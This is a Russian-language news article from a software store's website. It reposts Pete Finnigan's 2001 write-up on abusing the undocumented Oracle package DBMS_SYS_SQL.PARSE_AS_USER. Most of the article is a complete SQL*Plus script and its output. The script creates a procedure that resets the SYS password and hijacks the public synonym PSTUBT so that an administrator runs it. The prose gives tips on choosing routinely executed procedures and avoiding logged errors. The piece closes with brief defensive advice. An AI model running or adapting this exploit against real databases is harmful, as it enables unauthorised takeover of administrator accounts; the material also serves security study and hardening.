+7 (495) 229-0436   shopadmin@itshop.ru 119334, г. Москва, ул. Бардина, д. 4, корп. 3
 
 
Вход
 
 
Каталог
 
 
Подписка на новости
Новости ITShop
Windows 7 и Office: Новости и советы
Обучение и сертификация Microsoft
Вопросы и ответы по MSSQLServer
Delphi - проблемы и решения
Adobe Photoshop: алхимия дизайна
 
Ваш отзыв
Оцените качество магазина ITShop.ru на Яндекс.Маркете. Если вам нравится наш магазин - скажите об этом Google!
 
 
Способы оплаты
 
Курс расчета
 
 1 у.е. = 92.01 руб.
 
 Цены показывать:
 
 
 
 
  
Новости, статьи, акции
 

Старое, но полезное от Пита Финнегана - Функция DBMS_SYS_SQL.PARSE_AS_USER

01.12.2009 15:02

Этот пакет не документирован, он используется средствами репликации (Oracles Replication Options). Хранимые процедуры в Oracle 7.3 и 8.0 выполняются с правами владельца. Начиная с Oracle8i появилась возможность определения процедур, выполняющихся с правами вызывающего.

Этот недокументированный пакет DBMS_SYS_SQL.PARSE_AS_USER может позволить вам инсталлировать пакеты, которые работают с привилегиями вызывающего, а не с привилегиями владельца. Эта потенциальная "дыра" может быть использована, чтобы заставить администратора выполнять в будущем какие-то операторы SQL. Приведем простой пример:


--
-- dbms_sys.sql
-- Pete Finnigan
-- July 2001
--
-- Test dbms_sys_sql.parse_as_user
--
spool c:\pentest\temp\dbms_sys.lis
connect sys/manager

grant execute on dbms_sys_sql to dbsnmp;
<!--[if !supportEmptyParas]-->
connect dbsnmp/dbsnmp

create or replace procedure hack_user(pname in varchar2,
uname in varchar2,
dbname in varchar2,
flags in varchar2,
rc out varchar2)
as
c1 integer;
dummy number;
begin
<!--[if !supportEmptyParas]-->c1:=dbms_sql.open_cursor;
sys.dbms_sys_sql.parse_as_user(c1,
'alter user sys identified by sys',
dbms_sql.v7);
sys.pstubt(pname,uname,dbname,flags,rc);
end;
/
drop public synonym pstubt;
<!--[if !supportEmptyParas]-->create public synonym pstubt for hack_user;

set serveroutput on size 100000

declare
dummy varchar2(40);
begin
pstubt('hack_user','',null,'8',dummy);
dbms_output.put_line('dummy is :'//dummy);
end;
/
connect system/manager
declare
dummy varchar2(40);
begin
pstubt('hack_user','',null,'8',dummy);
dbms_output.put_line('dummy is :'//dummy);
end;
/
connect sys/sys
  

Запустив этот командный файл, получим:


<!--[if !supportEmptyParas]-->Connected.

Grant succeeded.

<!--[if !supportEmptyParas]-->Connected.

<!--[if !supportEmptyParas]-->Procedure created.

drop public synonym pstubt
*

ERROR at line 1:
<!--[if !supportEmptyParas]-->ORA-01432: public synonym to be dropped does not exist

<!--[if !supportEmptyParas]-->Synonym created.

declare
*

ERROR at line 1:
ORA-01031: insufficient privileges
ORA-06512: at "SYS.DBMS_SYS_SQL", line 1137
ORA-06512: at "DBSNMP.HACK_USER", line 12
<!--[if !supportEmptyParas]-->ORA-06512: at line 4

ERROR:
<!--[if !supportEmptyParas]-->ORA-01017: invalid username/password; logon denied
Warning: You are no longer connected to ORACLE.

<!--[if !supportEmptyParas]-->Connected.

<!--[if !supportEmptyParas]-->PL/SQL procedure successfully completed.

Connected.

Как видите, здесь есть одно главное ограничение - вы должны иметь привилегию для выполнения пакета DBMS_SYS_SQL. Вполне резонно найти способ получения такой привилегии или базы данных, в которой такая привилегия уже имеется. Как видно из данного контрольного примера, можно создать процедуру, которая изменяет пароль пользователя SYS (можно изменять пароли любых пользователей или создавать пользователей, или предоставлять им привилегии DBA ), и все это можно делать из схемы пользователя DBSNMP . Однако это пока ничего не значит для нас, так как пользователь DBSNMP все еще не имеет права изменять чьи-либо пароли, кроме своего.

Решение проблемы фактически заключается в том , чтобы заставить пользователя SYS или другого администратора выполнить для вас эту вашу новую процедуру. Мы поискали в DBA_OBJECTS процедуры, принадлежащие пользователю SYS и нашли PSTUBT, которая еще не имеет публичного синонима, а затем создали публичный синоним PSTUBT, указывающий на нашу новую процедуру HACK_USER. Эта процедура выбрана только в качестве примера, в идеале вы должны найти процедуру или функцию, которая регулярно выполняется администратором.

Наша процедура вызывает DBMS_SYS_SQL.PARSE_AS_USER для выполнения фрагмента кода, а затем вызывает оригинальную процедуру, принадлежащую SYS . Это означает, что мы должны обеспечить соответствие параметров нашей процедуры параметрам существующей процедуры. В данном случае пользователь DBSNMP имеет право выполнения процедуры, принадлежащей SYS . Если это не так, то не вызывайте оригинальную процедуру, поскольку ошибки доступа могут быть зарегистрированы.

Для любознательных: процедура PSTUBT была добавлена для Oracle Forms 3 и 4 и вызывалась во время компиляции кода форм для проверки вызываемых в сервере функций, процедур и пакетов PL/SQL. В Oracle Forms 3 и 4 еще использовался PL/SQL версии 1. Эта процедура создает фиктивную заглушку ( stub ), чтобы компилятор форм мог синтаксически проверить код формы. Если вы еще используете Oracle Forms 3 и 4 и иногда компилируете от имени администратора, проблема остается открытой.

Ключевым моментом данной попытки взлома является поиск процедуры, которая регулярно выполняется администратором, в идеале это могут быть задания, находящиеся в очереди заданий, или ночные пакетные задания. Нецелесообразно выдавать привилегии выполнения пакета DBMS_SYS_SQL пользователям, которые создают процедуры и помогают другим пользователям выполнять то, что они требуют.

Ссылки по теме

  
Помощь
Задать вопрос
 программы
 обучение
 экзамены
 компьютеры
Бесплатный звонок
ICQ-консультанты
Skype-консультанты

Общая справка
Как оформить заказ
Тарифы доставки
Способы оплаты
Прайс-лист
Карта сайта
 
Бестселлеры
Курсы обучения "Atlassian JIRA - система управления проектами и задачами на предприятии"
Microsoft Windows 10 Профессиональная 32-bit/64-bit. Все языки. Электронный ключ
Microsoft Office для Дома и Учебы 2019. Все языки. Электронный ключ
Курс "Oracle. Программирование на SQL и PL/SQL"
Курс "Основы TOGAF® 9"
Microsoft Office 365 Персональный 32-bit/x64. 1 ПК/MAC + 1 Планшет + 1 Телефон. Все языки. Подписка на 1 год. Электронный ключ
Курс "Нотация BPMN 2.0. Ее использование для моделирования бизнес-процессов и их регламентации"
 

О нас
Интернет-магазин ITShop.ru предлагает широкий спектр услуг информационных технологий и ПО.

На протяжении многих лет интернет-магазин предлагает товары и услуги, ориентированные на бизнес-пользователей и специалистов по информационным технологиям.

Хорошие отзывы постоянных клиентов и высокий уровень специалистов позволяет получить наивысший результат при совместной работе.

В нашем магазине вы можете приобрести лицензионное ПО выбрав необходимое из широкого спектра и ассортимента по самым доступным ценам. Наши менеджеры любезно помогут определиться с выбором ПО, которое необходимо именно вам. Также мы проводим учебные курсы. Мы приглашаем к сотрудничеству учебные центры, организаторов семинаров и бизнес-тренингов, преподавателей. Сфера сотрудничества - продвижение бизнес-тренингов и курсов обучения по информационным технологиям.



 

О нас

 
Главная
Каталог
Новинки
Акции
Вакансии
 

Помощь

 
Общая справка
Как оформить заказ
Тарифы доставки
Способы оплаты
Прайс-лист
Карта сайта
 

Способы оплаты

 

Проекты Interface Ltd.

 
Interface.ru   ITShop.ru   Interface.ru/training   Olap.ru   ITnews.ru  
 

119334, г. Москва, ул. Бардина, д. 4, корп. 3
+7 (495) 229-0436   shopadmin@itshop.ru
Проверить аттестат
© ООО "Interface Ltd."
Продаем программное обеспечение с 1990 года